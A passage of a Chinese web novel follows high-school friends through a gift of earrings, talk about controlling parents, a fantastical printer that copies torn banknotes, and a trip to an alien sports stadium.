这无疑是最令张晓怡感受到贫富参差的游戏,她皱起脸说:“我希望它5.99,但它都在这个店里了,我猜它29.99。”
柳令全隔着包装袋一阵摩挲,企图与耳钉获得共鸣最:“我猜39.99。”
康烁影把包装翻过来给她们看标价:“纯银的,69.99。”
三个人眯眼撇嘴皱鼻拧眉,一套怪表情做下来,无声表达对物价的绝望。
那对耳钉很可爱,是一对小小的山茶花,爪镶精细圆润,925银的材质。花瓣是水滴形的粉色人工钻,火彩打磨漂亮。张晓怡的眼神在上面流连了几秒,甚至没听到柳令全的搭话。
一个拍手在她面前炸响。
“想什么呢!”柳令全抓着她的脑袋,就像抓着一个皮球,“我问你我戴这个耳环好不好看!你再不理我,我就把你的包包头拧掉。”
张晓怡护住自己好不容易盘起来的头发落荒而逃。逃到货架另一端站定才敢开口:“这边的耳钉都不适合你,你要买就买那种特别夸张的大耳环。”
康烁影顺着她的目光看过去,重新拿起刚才那个震撼了所有人的山茶花耳钉晃了晃:“你喜欢这个?”
坏了!规则被打破了!
百货店的暖气里,张晓怡的心冻结了一瞬。
她听见自己用满不在乎的语气说:“不喜欢。我在想它怎么敢这么贵,钞票打的啊?”
于是那对山茶花耳钉又被挂了回去。
县城的出门玩其实就是在商场里转悠。她们在奶茶店坐下,聊了一会儿班上同学的八卦,讲了几个人的坏话,又骂了好几个老师。拖了两三个小时后吃了一顿人均三十的晚餐,才在下午五点半分道扬镳。
张晓怡和柳令全坐车回榕城,康烁影直接走回新城。下车后张晓怡和柳令全在车站分开,临走前,她感觉自己的口袋被贴了一下。
张晓怡摸了摸,口袋里吱吱响,听声音像是塑料袋。拿出来一看,是那对山茶花耳钉。包装袋背后贴着奶茶店里的便利贴。
“提前送的新年礼物。
——ksy,llq”
和康烁影、柳令全出门,绝对不要展现出对任何商品的兴趣。
奢侈品可以,金子可以,手机也可以。但是那些小的物件不行。
因为她们真的会买给她。
31.消极自由
孙中山曾经说过,学生、官吏、军人和二十岁以下的未成年,是没有自由的。颜阎在其中占据两项,堪称囚徒中的囚徒,囚徒的二次方。
她可爱、开明、智慧的母亲,有千般优点,唯有一处缺点:迷信秩序。体现在她的梦想就是让女儿找到稳定的工作,也体现在她对课外班这种系统性学习的盲目追求上。
颜阎从小就与兴趣班相熟,早年榕城经济发达时,各路老师开放了大量补习班,去欺骗望子成龙望女成凤的家长们。颜阎的妈妈坚信兴趣会给人带来快乐,而坚持带来兴趣,于是颜阎的噩梦开始了。
颜阎在零到十二岁的那一小段时间里,学了儿童画、珠心算、口才、跳舞、书法、围棋、散打,甚至还有一门乐器:手风琴,因为妈妈觉得冷门乐器竞争力小。
说实话,谁家正经人学手风琴啊!流行乐队不要民乐团也不要交响乐队也不要,唯一要她的只有俄罗斯军乐团。
换成其他小孩,可能就会在日复一日的折磨中自我安慰,从而获得一丝快乐,最后真把这些东西催眠成爱好了。可惜颜阎的妈妈比较倒霉,她的女儿是颜阎。
颜阎无法理解怎么会有人爱上让自己痛苦的罪魁祸首。她讨厌这些“课余爱好”,讨厌就是讨厌,讨厌是不会因为长时间的折磨就变成喜欢的。
她在前十二年的痛苦里极度怨恨自己的母亲和老师,连同她的一切兴趣班一起恨上了。于是在她十二岁的暑假,考过手风琴十级证书后,她就再也没有碰过那个让她无法长个的乐器。每次妈妈心疼那些报课的钱,企图让她重拾手风琴,她都会忍不住伤害妈妈的心:“我真的讨厌它,我从来没有喜欢过它。”
然后妈妈就会板着脸离开。
随着她升入中学,学习成了主要任务,那些从没有一刻成为她兴趣的兴趣班,终于离她远去了!
可命运从不仁慈,兴趣班和不用上学的周日携手远去,补习班迈着正步走来。幸好她的双休日从小就被兴趣班填满,所以没有同学们那么崩溃,甚至还有余力嫉妒地问:“你们周末一整天都能出去玩?真的假的?”
升入高中后,补习班越来越多。最高纪录是一天连上十一个小时的补习班。回家后妈妈捧着她的脸,心疼地搓了搓:“哎哟我们宝贝累坏了。”
颜阎冷酷地说:“你要是真的心疼我,就应该给我退几个补习班。”
妈妈抿着嘴,眼神乱飘:“再坚持一下,马上就毕业了。”
后来颜阎就会在这个时候虚情假意地说:还好,你今天给我削个苹果就不累了。这种你好我好大家好的话,反正说真心话情况也不会有什么改变。
高一上学期,一个和她算是发小的同学因为抑郁自杀未遂。受此影响,妈妈终于愿意把两个数学补习班缩减到一个。颜阎再也不用一天上十一小时的课了,她为此欢呼雀跃,引起了刘征兰极大的同情。
而今天,而今天,而今天!由于江扒皮的请假,她连着两天都没有课!
颜阎激动到手舞足蹈,啪啪拍自己的大腿:“太不容易了!两天,我没主动请假,一节课都没有啊!上高中以来就再也没有过这种好事!”
刘征兰坐在她对面喝奶茶:“你妈妈不是和你关系挺好的吗?初中开家长会,别人都在青春期叛逆,你上去就和你妈脸贴脸了。”
“那是因为我妈身体不太好,那段时间她不怎么管我,完全把我放弃了。她对我一松懈,我俩的紧张关系立刻缓和了。直到今天她都对我采用怀柔政策,于是我们的关系越来越好。”
刘征兰思考了一会儿,然后说:“那我俩换换。你给我妈当女儿,我给你妈当女儿。”
颜阎设想了一下,居然觉得这个场面很和谐:“别说,可能这样大家都高兴。你妈是纯粹的重男轻女,我这种目无尊长的白眼狼真的有可能会和她动手。而我妈是……呃……为你好式家长,而你又不像我这样激烈反抗,说不定你还会喜欢手风琴和围棋呢。咱俩换了谁都高兴。”
两个人畅想着身份互换的场景,又虚构了一个完全没有家长,所有人自己做决定的世界。虽然她们没有做出任何行动,但精神上完全爽到了——这就是朋友的好处,用一杯奶茶的钱听你说胡话。
“我希望我生下来就是一个人。”刘征兰说,“我人生的大部分痛苦来自家庭。”
“我也希望我生下来就是一个人。”颜阎把脸贴在桌子上滚来滚去,“我很爱妈妈,我知道她也很爱我。但这种爱带来了太多痛苦,我宁愿一开始就不拥有它。”
颜阎后面的沙发上有两个和家长一起来的小孩,她汉堡吃了一半,油乎乎沾满沙拉酱的小手正扒着沙发背,圆溜溜的眼睛好奇地看着她们,似乎听不明白爱和痛苦怎么能放在一起。
颜阎对着她露出一口白牙:“你好呀小宝贝,擦擦手吗?”
小女孩把手指塞进嘴里吮着,没有回答。
“可爱宝宝,你想不想尝尝姨姨的奶茶呀?”颜阎把吸管放在她够不到的地方企图逗她。
小女孩依然没说话。她并不圆润,也不可爱,皮肤偏黑,还有点流鼻涕,反应略有迟钝,是家里管得不多的农村小孩的面貌。
颜阎锲而不舍:“宝贝听话,不要用油手手摸沙发好不好?老板很难清理的。一会儿你妈妈回来,她会骂你哦。”
小女孩这回动了,缩着脑袋把膝盖从沙发上放下来,继续吃她的汉堡去了。
颜阎颇有成就感地一回头,发现刘征兰消失了。眼睛往下一扫,她的下半身已经滑倒桌子底下,只有头还枕在沙发上,遥远的声音从桌子下传出来:“我有小孩恐惧症!”
颜阎拉开桌子让她能钻出来:“我懂,都是你弟弟害的。”
刘征兰的弟弟,一个典型的重男轻女家庭里出来的男孩。暴力、高傲、自大,恃宠而骄。无意识地疯狂压榨自己的母亲和姐姐,并因为是个男孩而受到纵容。
她真的很想恨他,最好哪天能下定决心掐死他。但她发现人很难真的恨朝夕相处的人。你恨他的时候,他偶然的善意便那么珍贵,像沙里的珍珠。你爱他的时候,又打心底里感到恶心。一个道德感强的人,和其他人相处越多,越是会体谅他人,因此恨也愈发不彻底。
颜阎的一套哄小孩组合拳令刘征兰惊叹,她以为颜阎也讨厌小孩,没想到哄得这么熟练而坦然。
“我不讨厌小孩啦。在我心里,孩子和猫猫狗狗是一样的。有各自的性格,但没有意识可言。”颜阎搅着吸管,“当然,超过六岁的小孩就不可爱了,这个年纪受到家庭和社会的影响太多,早已是预备役成人了。”
“所以养孩子是世界上最可怕的事。任何人的经验其实都是没用的,有些孩子需要管束和强制,甚至牺牲他们的一些权力才能培养他们。这时候,为孩子好就是正确的。比如我妈逼我学小提琴,最后我也真的爱上了小提琴。”刘征兰像一团粘液,从桌子下一点点拱上来,“而你从一而终地需要消极自由,拒绝任何人替你做决定,排斥一切牺牲当下的长远叙事。这时候,为你好就可能令你痛苦一生。很多大人根本无从把握这种尺度。”
“你说得对。我有时候在想,如果养一个小孩子,付出了全部的精力,财产和爱,但如果你爱她的方式她根本不喜欢,那该怎么办?似乎只有自认倒霉了。每次想到这些,我都很为家长难过。”
“我懂。”
两个人沉默地看着那个吃汉堡的小女孩。心中不约而同地为她的未来做出了各种设想。
她和她的家庭会亲密还是疏远?她会成为农村的骄傲还是普通的流水线工人?她会为家长没有干涉她的选择怨怼还是快乐?
唯一可以预见的是,不久后她就会和她们一样,变成学习不咋滴未来没出路人际关系一塌糊涂,只能在奶茶店里和朋友讨论一些社会问题和奇葩同学的女高中生。一想到这儿,两个人露出了缺德的笑容。
“所以我这辈子不会养小猫小狗小孩。”颜阎说,“我要孤独终老,一个人死在地下室。”
“为什么是地下室?”
“没钱买房。”
刘征兰笑得更缺德了。
“我会养猫的,我喜欢。”刘征兰说,“我觉得猫是一种反复无常的实诚动物。”
“记得定期抖猫毛。”
“我会的。”
小女孩吃完了汉堡,她身边的老年女人给她擦了手就放她满地乱跑。她爬过收银台和洗手台,终于想起店里还有两个人,于是她杵在两人的桌子前,不太灵动的眼珠意义不明地盯着两人,手和脚上有一大堆动来动去毫无意义的小动作。
颜阎很有闲心哄小孩:“宝宝怎么啦?”
小女孩没说话,她从红棉袄的兜里掏了掏,掏出几张百元大钞。
两人一下子把腿放下坐直了。
结果小女孩把钱翻了个面,两人仔细一看,又嫌贫爱富地把左腿放回右腿膝盖上。
纸币左上角贴着一张红红的三角标签,上书:儿童银行。小女孩坐的那张桌子下还有许多撕碎的粉色假/钞,还有好几张上面被水彩笔涂了一些涂鸦和字。
颜阎轻声细语:“你送给姨姨了?谢谢你!”
小女孩不笑也不说话,转头跑走了。
几张假/钞都软趴趴脏兮兮,应该是经常被人摸来摸去,或者经常被人揣在兜里。刘征兰和颜阎拿这些假/钞折东南西北和护甲魔爪,还把几张护甲叠在一块拼成长刀,啪啪对抗着玩。出于对贫穷的怨恨,两人对待假/钞格外残忍,没玩几下,手指就戳破了几张。
刘征兰把坏掉的假/钞展开,盯着“100”唉声叹气:“要是有人无缘无故给我真钞就好了。”
她这口气还没落地,手机就震动了一下。张晓怡拍了个视频发给她,视频里的她站在奶茶店发黄的软玻璃门帘外,拿双指点了点眼睛,又点了点屏幕,露出阴森森的笑容。
张晓怡:I''m watching you.
张晓怡:我看到你的背影了,让我妹把钱还我。你说,我进去了她又要闹我。
刘征兰忍不住后仰靠在沙发背上,远离屏幕。
此地不宜久刘:是那个黑黑的小姑娘?
张晓怡:就是她。
张晓怡:她手里拿着的儿童银行钞票,还给我。
此地不宜久刘:□□你也要啊?
张晓怡:那是真钞!
张晓怡:不贴儿童银行我爸就会把钱收走。
张晓怡:谁知道我妹会拿钥匙开柜子!
刘征兰看了看手上的钞票护甲,又看了看地上被小女孩撕碎的纸币尸体。
刘征兰一把揪住颜阎:“你听我说!你要冷静!”
颜阎被她隔着桌子揪起来:“你说?”
刘征兰压低声音:“这些是钱是真的被张晓
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怡的妹妹偷偷带出来了现在我们和她妹妹都撕了钱为了不被她报复你现在赶紧去呼叫中心拿那些小道具想办法。”说完这些话她深吸一口气,差点憋死。
颜阎没想到走在路上真的会被人突然送真钞。她一把拽下手甲:“不是,我们又不知情!就算她报警抓我们,也不是我们的责任啊!”
“救救她吧。”刘征兰出于道德说,“她都穷到要打工了。”
同时她的手上动作不停。
此地不宜久刘:急吗?不急你等她回家找她要。
张晓怡:不急。但我不放心东西放她手里。
幸好呼叫中心一直被她们随身携带,还有挽救的余地。
颜阎钻到桌子底下,从一个没人能看到的角度走进呼叫中心,扎进伸缩书架的海洋里一通翻找。
经过律易棋的整理,危险品和安全品用了不同颜色的伸缩书架。危险品大多是武器,安全品是奇怪的杂物。颜阎看一件丢一件,甚至来不及塞回去。
高速震动刀,化学元素150号(装在瓶子里),陀螺仪,一只小蚂蚁,嗨你好啊,很小很小的衣柜,常温超导,这东西不应该在隔壁半岛的造假论文里吗怎么到这儿来了,饮料瓶,拆过的包装,一团雾状不明物体,饮料瓶,饮料瓶,怎么这么多饮料瓶到底是谁乱丢垃圾,荧光蛾子,呃你一直在这儿吗,复写纸,打印机……
打印机!
颜阎扎着马步把打印机拽出来,压在它上面的一大堆杂物在她完全的暴力拖拽中纷纷跳车逃跑。
失去了多余的质量,颜阎抱着微波炉大小的打印机咕噜咕噜往后滚了两圈,脸上是一层从机盖上倒下来的灰,打印机的一角顶在她下巴上,让她的牙齿咬破了舌头。
她顾不上这些,一把抓起打印机下方凹糟的保护盖,把它卡进律易棋装的离子电池里,打印机迅速充满了电,开始工作。
颜阎家里没有打印机,但学校老师又经常发电子版的试卷。榕城的打印店营业时间很随缘,经常是上学时没开放学又关了。找同学帮忙打又太麻烦人家了,更何况她在班里也没什么朋友。所以颜阎上学时一直在用这台打印机,寒假一开头把所有卷子打印完之后,这台打印机就被束之高阁。
既然张晓怡说不急,那先打印几张假的,她们弄破的真钞回来再粘,小女孩撕碎的……说实话那些不关她们事。但张晓怡的确爱财到前半辈子可能根本没见过二十元以上的钞票,颜阎还是决定帮她一块儿粘起来。
她把打印机掰开,手里皱巴巴的那张钞票压在机盖下。眼神翻了一圈,发现这里居然没有A4纸!草稿纸倒是有几张,但是它们都带格子,压根没法用来打印。
刘征兰快要拖不住了,求救信息刷满三个屏幕。颜阎手足无措,一气之下当了甩手掌柜,准备冲出去跟张晓怡说你钱碎了你报警吧!
身后“咔啦咔啦”的声音阻止了她。
她一回头,发现打印机前堆着三十几张百元大钞,跟她手里的那张一模一样。
没有任何打印材料,它自己就吐出了钱。
颜阎不知道的是,这不是一台普通的打印机,它是逐光研究院的纯光造物机,在两个高能光子发生碰撞后,会产生一对正负离子,即形成物质。这台机器能在有模板的情况下制造出宏观物质,而不是微观粒子,这是纯光造物的巨大进步。
它在学界备受关注,因此当它失踪时,研究院内部兵荒马乱尸横遍野鬼哭狼嚎,在无数研究人员的心肌梗塞中,一位能抗事的教授决定以一台普通的3D打印机冒充纯光造物机,以逃避看管不力的罪名。
由于研究院超然的地位和令人望而生畏的学术水平,有能力的人不敢质疑,没能力的人不会质疑,于是一直没人怀疑纯光造物机是假的。直到到那台3D打印机都损坏了,也没人能发现真相。
这一切都与颜阎无关,她大喜过望,拿着钱冲出去。刘征兰谨慎地用中性笔在这些假/钱上做了一个“IX”的标记,方便她们暗中替换,这才还给张晓怡。
张晓怡狐疑地看了看气喘吁吁、像刚被鳄鱼追着跑出热带雨林的颜阎,又看了看嘴角抽动、眼神漂移、仿佛劫后余生的刘征兰:“你们两个在奶茶店里野外探险?”
“没有没有。”颜阎张嘴就来,“奶茶店里暖气太足,我们被热化了。”
“是我妹烦你们了吧?”张晓怡烦躁地用脚拍着地面,“不好意思,下次请你们喝可乐。”
两个人集体摇头:“不用不用不用。”
“我说请就请,哪那么多废话。”张晓怡伸出手,“拿来吧。”
“多少钱?”
“二十张。”
颜阎没有给她,而是在自己手里点了一遍。把打印机刻出来的钱拿了二十张给她,剩下的她说是她家长提前给的压岁钱。
张晓怡不耐烦地接过来:“你直接看哪张贴了儿童银行不就好了。”
颜阎挠着头装傻:“对哦,我忘了,嘿嘿嘿。”
刘征兰在一旁帮腔:“她一向是不那么聪明的。”
张晓怡挥挥手:“我下次换个地方藏。这回谢谢你们。”
两个人虔诚地跟她道别。
颜阎满面笑容地和张晓怡的背影挥手:“记得一定要把钱还回来,别让她发现是同号,别让假/币流入市场!”
刘征兰和蔼地直视着张晓怡的背影:“你也别忘!”
32.圆形体育场
寒假虽然课多,但只要你愿意不写寒假作业,还是有一些空闲时间的。所有人的手机使用时间倍增,网从早到晚卡得不行。
这个寒假里,康烁影最大的乐趣有二。一个是没事往木杯里喊几声,希望能获得外星生物的回应。另一个是布置呼叫中心。
她说:“既然我们打算把这里当成秘密基地,那就得打扮一下啊!”
律师装的木地板和木纤维踢脚线都是暖色调,材料是她装修时剩下来的一点再加上她在家具城购置的。装修方式非常古典,地面找平,铺上锁扣式实木复合地板,无痕钉钉上踢脚线,完成。
由于律师当时的态度十分破罐子破摔,有一种“哈哈大不了一死”的欢欣,所以当时没人敢提出异议。并且最终效果还挺好看的,大家都欣然接受了。
在康烁影质疑这是不是需要养护时,律师说:“你见谁家天天保护地板?只要不拿着圆规和菜刀在地上划拉就没事。”
滑轨之类的硬装天文台本就自带,她们也不需要厕所和做饭的灶台,只需要把这里当一个小客厅装一装。滑轨甚至有两条,从那个慌乱而心虚的打孔就能看出来,这是学校又一次的掉链子。
于是三人凑钱买了两幅窗帘。一幅是透光静音的亚麻材质,比较短,米白色,刚好遮住窗户。另一幅是抹茶色的丝绒落地帘,遮光且垂感好,康烁影喜欢得不得了,洗完准备挂上去的时候还拿脸蹭了一阵。她说这样搭配是为了有更多选择,适应写作业、睡觉等不一样的需求。但刘征兰说她只是喜欢那个抹茶色的窗帘,被她王八拳伺候。
康烁影还趁着过年打折,从直播间买了张灰色混纺地毯,她说这个材质很好清理,防水防油污,这样就能直接坐在地毯上,围着小圆桌聊天了。
另外两人以呼叫中心的主人自居,看似对康烁影呈“真拿你没办法”的态度,可她做完软装居然真的很漂亮,于是三个人A了地毯和窗帘的钱,并且不约而同地会在闲暇时间来呼叫中心坐着。刘征兰为了远离她弟弟,几乎所有空闲时间都躲在这里不问世事。
律易棋很少被允许进入呼叫中心。当他和刘征兰一起进门时,忍不住“哇”了一声:“这么漂亮?这还是那个毛坯房吗?”
刘征兰竖起大拇指:“现充出品。有生活经验就是好。”
律易棋穿着袜子踩进来,跟躺在地上傻乐的颜阎和颇为骄傲的康烁影打了个招呼:“准备好了没有?要不要带点吃的?”
颜阎翻了个身:“准备好什么?”
“看斩将夺旗啊。”
颜阎坐起来,膝盖顶了一下圆桌,圆桌的一只脚离地了一瞬间,差点掀翻康烁影的作业。康烁影一巴掌把她的腿拍下去,颜阎便顺势倒回地上。
“我完全忘了。”她说,“我寒假前的记忆已经完全消失了。”
寒假到底比上学时轻松一点还是累一点,她也很难分辨。补习班的知识密度太大了,她经常学得头晕,但相应的是休息时间也变多了,她偶尔能不写作业,跑出去闹一下妈妈,或者偷偷多玩一会儿手机。
唯一确定的是,寒假前后的事情被时间线切开,像刀切苹果一样分成明确的两半。如今她连班级同学的名字都有点忘了。
刘征兰在桌子旁边坐下:“没事,我也把同学名字忘得差不多了。”
康烁影不理解:“你们完全不跟同学玩的吗?”
两个人都摇头:“没朋友是这样的。”
律易棋盘腿坐过来,一手撑着膝盖,身体向前倾过来,一手敲了敲桌子:“那现在想起来也不迟。快!你们的农历二十九号快到了!准备吃的喝的去过年,顺便准备吃的喝的出去玩!”
三个人都支楞起来了。人生首次外星之旅,甚至有可能是地球历史上第一次,每个人都兴致勃勃。康烁影装了好多果干和纸巾,刘征兰带了三个充电器,颜阎带了她自己和一张能说会道的嘴,并在临出发前鼓起勇气在脑袋里植入了天机,彻底摆脱耳骨夹,实现了同声传译。
于是在年二八,新年氛围浓厚的夜晚,三个人毛绒绒圆滚滚地在律易棋的杂货店里亮相了。
“穿这么多行吗?”康烁影问他,她的帽子护耳很长,长到能在脖子上围一圈当围巾,围巾末端还有一对手套,手套一拽,头上的熊耳朵就会动来动去。
“那边不冷,但在这边还是先穿着吧。”律易棋摘掉了折射影像,卡其色风衣和一条材质不明但看起来很暖和的裤子里裹着一个一米九的酷哥。酷哥给每个人发了一个口罩:“过去吧,我订了包厢,实在不行到里面再换。”
四个人跳进呼叫中心,律易棋默念着“庇伦赛星七号格子”,然后打开了门。
门外是无星无月的夜晚,脚下一大片玫红色的“沙地”一直蔓延到地面卷曲的远方。附近没有任何科技的痕迹,只有树干粗壮,整体呈暗红色的植物生长在沙地上。
律易棋捧起康烁影的手——刘征兰和颜阎都不乐意被人碰——将她的手心朝上,一只手链被他双手扣在她的手腕上。
手链的材料是油松果的种鳞,两片发白的种鳞搭在一起,成为手链上的一环,就这样形成了一整个手链。
“为了防止我们全困在外星没法回去,我守着门,你们从这里走过去。有奇怪的东西问你们问题,你们就说是。”律易棋指了指玫红色沙地的尽头,“别问我为什么,走过去你们就知道了。”
颜阎还是比较警惕:“你不会把我们扔在外星吧?”
康烁影可怜兮兮地眨着眼睛:“你不会吧?”
律易棋笑着伸出右手,小指和无名指收起,如同手枪的手势顶在太阳穴上,似乎是一个起誓的动作:“我发誓。”
发誓是最没用的,康烁影有点不安,她本以为会有更具契约效应的道具,但看到两个朋友都相信,她也就相信了。事实上了另外两人完全没相信,她们只是觉得:骗就骗吧,上学不比死在外星好多少。
律易棋关上门后,三个人晃晃悠悠走在沙地上。沙子没有那种细软的触感,反而略显坚硬,像是某种光滑的石子,或者不那么脆的甲壳。
四周很静,能听到昆虫窸窸窣窣的声音。被风吹拂的沙地像是一片流淌的玫瑰田,甚至风中真的飘来淡淡的幽香。
风带来一句细细的声音:“是刻石人的阿锱吗?”
康烁影和颜阎一左一右抓住了刘征兰的胳膊:“小刘女士,保护我们!”
刘征兰没被声音吓到,倒是被她俩吓了一跳。
她环视一圈,终于在左前方的一棵树上找到了一只与树影融为一体的猫头鹰。它的脸像是苹果的切面,两只对称的橘色眼睛是苹果核的形状,鼻与喙上的毛连在一起,像是一个倒着的心形。
它又问了一遍:“是刻石人的阿锱吗?”
刘征兰牢记着律易棋的话:“是。”
“跟我来吧。”
猫头鹰无声地扇动翅膀,落在刘征兰肩头。指挥着她们走进树林。
“这条路是为了防止逃票,没有发到地图的人一般都会顺着这条路一直走下去,而真正的路在森林里。”猫头鹰说,“而你们,订了包厢的阿锱,我们会亲自引路。”
颜阎好奇地问:“那条路的尽头是哪?”
“它绕行星一圈,没有尽头。”
“那它是拿来干嘛的?”
猫头鹰说:“那是给当地居民放置卵的产房,它们的卵必须在干燥的地方才能生产,而且幼崽自己无法打开卵壳,必须借助外力才能出生。当地居民干脆修建了这条路当作产房,每年特定时间,都会有一个降婴节,所有人一起踩踏这些卵,使得新生儿能够出生。”
三个人交换了一个眼神:呃,算了,祝孩子平安。
猫头鹰带她们在一棵平平无奇的树旁停下,飞上去扯下来一片淡绯色树叶。
树干的中央,一个金色的光点亮起来。然后是两个,三个……光点汇聚成一片黄金的海洋,等到光芒褪去,那里就只剩下一个反射着光芒的金色字母。在天机的翻译下,那个半圆形的字母指的是“对”,在俚语里也可以指通过、赞同、美好等意思。
颜阎伸手去触摸那个字母,却只摸到一个毛乎乎的温热东西。
趴在树上的的东西睁开了它扁平脸上的蓝眼睛:“别摸了。我吃果子吃多了,有点撑,动作慢。”它说,“别急,我这就让开。”
然后那个毛乎乎的东西向树干上方挪动了几下,露出了一个巨大的树洞。猫头鹰示意她们可以从这里下去。
刘征兰一直盯着那个巨大鳐鱼一样的毛毛生物,在她走进树洞的前一刻,她终于从下方发现,那些金色的光点是它羽毛的内侧,它刚才竖起自己的羽毛,才形成了那种金光灿灿的景象。
她想把这个发现说出来。一张嘴,脚下就空了。
树干内部像一个巨大的滑梯,她感到自己顺着一个坡度正好的宽大隧道滑下去,在地下转了几个螺旋,经过了一段平缓的下滑,有一段被不知名的力量推着上升,甚至有一段她明显感到了重力的混乱,她们经过了一段跳格子!
暗无天日身不由己的五分钟后,三人纷纷摔出隧道,一个叠一个地倒在另一棵巨大的树干下。
这里完全是另一个空间。她们站在一个巨大的圆形体育场中央,平面的体育场完全被包裹在一个巨大的球体里,球体的内壁上安装着许多角度奇特的座椅,有些甚至完全倒挂下来。从这个球体弧度来看,她们脚踩的地面下,应该还有一个颠倒过来的体育场。
体育场里没有天体的光线,但是有一种轻纱般的荧光生物在上空飘来飘去,它们的光线像是节日的灯笼。
各种生物的在她们身边来来去去,有很多还没有脚。有很多人唱歌、欢笑,还有各不相让的口号与欢呼声。这是她们第一次目睹这么多外星生物欢聚一堂。高矮、肤色、长相都不一样的人经过她们身边,或熟悉或陌生的动物不断从另外一个树干里滑出来,一些和准备室里袭击她们的不明生物很像的雾状生物正哼着旋律朗朗上口的歌。剩下的生物更加奇形怪状,三人一时目不暇接。
“啊!”一个细细的呼喊从远处传来,尖而高的声音盖过欢呼和大笑,“阿锱!”
一个扁扁的方形盘状生物,把身子斜过来,在来往人群的腿上跳来跳去,像只大蚂蚱。大蚂蚱跳得飞快,眨眼间就跳到了她们面前。
“跟我来跟我来!”它快乐地让重心在两边的腿之间移动,整个身子来回摇摆,“我带你们去包厢!”
康烁影摸了摸它的身子,有点硬,挺光滑的:“阿锱到底是什么意思?”
方盘子不好意思地用纤细的肢体捣着地面:“我口音这么严重吗?哎呀……就
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是阿——锱——”它一字一顿地又念了一遍,“客人的意思啦。”
“口音不重,我只是没听清。”康烁影安抚性地拍了拍它。
猫头鹰不知何时飞走了。方盘子带着她们在人群里穿梭。
人群里有很多小贩沿路兜售肉串、花蜜饼和饮料,三个人都没钱,只能眼巴巴地看着。可能是她们的眼神太露骨了,有个长得像阿凡达的小贩转过身,他像是把书生的背篓背在了前面,框里是三层试管架一样的东西,每个架子的插孔里装着一个瓶子。
“多大了?”他问。
看样子是把她们当小孩儿了。
颜阎顺势露出一个大大的笑容,这是她的拿手好戏——看起来特别没心眼儿的灿烂一笑:“十四啦。”
“这么小!”阿凡达小贩一愣,“我还以为你们十六七呢。”
星际文明各地不同,一般智人成年是二十五岁。颜阎把这事忘了。
“来,给你们一瓶。”阿凡达小贩把一个瓶子递给她们,“好好玩!”
另外两个人上去猛拍她:“真不错!”“社交大师!”
这时她们身边的小动物商人多了起来。它们一看到她们,立刻涌了过来。有人抓着她们的肩膀给她们戴上帽子,有人把花环戴在她们头上,还有些把果壳做的小徽章塞到她们手里。
周围其他种族的商人也凑过来:“第一次来?”
“嗯!”
“支持藤发人还是智械?”
颜阎咧嘴一笑:“这个瘦瘦的支持智械,这个披头发的支持藤发人。我是谁赢都高兴的纯纯比赛爱好者。”
商人们顿时分开两队。一队往刘征兰的发绳上绑了一条细细的电线,另一队在康烁影手里塞了一大捧橙色偏红、花瓣像裙摆一样的花朵。而看起来特别没心眼的颜阎,被塞了满怀的零食。
“欢迎你,第一次来看比赛的孩子。”一个矮小的藤发人商人踮脚抱了一下颜阎的腰,“希望你度过一段快乐的时光。”
方盘子带她们离开中心的体育场,走上人挤人的观众席。它走得不快,但三个人还是要使出浑身解数,腾挪扭转才能跟上它。一走上去她们就感觉到,这里没有重力,像在太空行走,所以这个球体内的各个位置都能坐人。
有趣的是,周围的人类把她们当普通路人掠过,灵肉却会朝她们三个打招呼。
“你们好!”
“在哪个包厢?”
“家人在哪个星区服役?”
“吃点毛毛虫软糖吗?”
“给你彩带!”
刘征兰大步往前走,假装自己是个聋子。康烁影和颜阎一左一右应对着热情的小动物和大动物们:
“你们也好!”
“金刚区三号。”
“不知道,我们没打听过。”
“不吃了不吃了,谢谢!”
“哇谢谢!”
两人一面从容答复,一面不动声色地向前移动。颜阎边笑边咬牙切齿地问方盘子:“怎么所有人都知道我们订了包厢?”
方盘子用一只伶仃的脚指了指康烁影手上的油松果手链:“上面有很多气味,大部分灵肉和少部分迁氧都会用气味提取信息。戴着这个的都是第一次来玩。”
从曲面走向半空中一圈凸起的阳台般的建筑底部。有一个“阳台”是她们的包厢,方盘子打开下面那扇门,三个人以一个奇怪的角度在房间的墙壁上站定,在方盘子的指引下走向墙角一个电磁炉般的黑色方块,以双手撑着墙面的姿势站在上面。她们的重力和房屋内立刻相同了,整个人也趴在了地板上。
陆续改变了重力后,三个人都能站在地板上。方盘子从地上那扇小门里出去,猛然蹬住地面,脚收在身体下方,扁扁的身子被它当成了一个飞盘,向下方的体育场旋过去。
律易棋从包厢的墙壁上推开门探出脑袋:“来了!温度还行吗?”
在沙地上就把围巾和外套都脱下来搭在胳膊上的三人:“太热啦!”
律易棋哈哈大笑。他把自己放在杂货店的小马扎卡在门边,自己坐在上面:“来的路上好玩吧?”
三个人都笑滋滋地点头。
“第一次来看比赛的人都是这个待遇。”律易棋拉开包厢的窗帘,从这里往下看,体育场十分清晰,“不体验一下就亏大了。”
包厢的装修有点像地球的普通酒店,布局完全就是阳台,甚至没封窗,只有一道玻璃挡板和它上方像酒吧吧台的一个小平台。房间里有一张长沙发和一张圆桌子,桌子上放着个果盘和几个杯子。角落里好几张带靠背的高脚椅叠在一起。
三个人挤在沙发里,齐齐舒了一口气。
没有家长,没有作业,没有学校。
爽啊!
律易棋把呼叫中心的门挪到她们对面。颜阎突然感觉他的形象高大了起来。
虽然没有公民身份,却没有让她们偷偷溜进来,而是为了她们的体验感硬生生整了三张包厢票,太伟大了。
律易棋被她盯了半天,终于不能再装作没看见,他抬起头,警惕地把手里的水果背到身后:“水果你也拿?想吃自己剥。”
颜阎松了一口气:“还好。”
律易棋:“……还好什么?”
颜阎:“我刚想对你表示敬意,你就开口说话了。”
33.842.25√(34)
四个人瓜分了零食,从杂货店拿了饮料,在小桌子上打了好几把uno。律易棋在三人的围剿下连输三把,作为惩罚,他得给所有人端茶倒水。
康烁影打牌时一直在想办法喝到手里的液体小瓶子,失败。律易棋把瓶子拿过来,拔开上面的瓶盖。瓶盖的形状类似塞子,中心有个小小的凹陷。他把瓶子侧过来,滴了一小滴在瓶盖里。一股馥郁的花果香涌入鼻腔,像是把栀子花和橙子的精华倒进奶茶杯里,吸管插到最底下,直接被香气冲击神经。
律易棋拨弄了一下瓶盖上的卡扣,一股白汽从小小的瓶盖里飘上来。一秒之后,他把瓶盖翻过来,那滴液体变成了一颗晶莹的糖块。
“小心别摔碎了,瓶盖里面是干冰。”律易棋把那颗糖放进康烁影手心里:“少吃点,里面有一些浓缩液成分,会让你的神经兴奋,吃多了就会变成只会傻乐的疯子。”
康烁影警惕地收回手:“多少会变成疯子?”
“你吃多少糖会变成蛀牙,把这个量变成三分之一。”
那还可以接受。康烁影把糖扔进嘴里,小心翼翼地含化它。
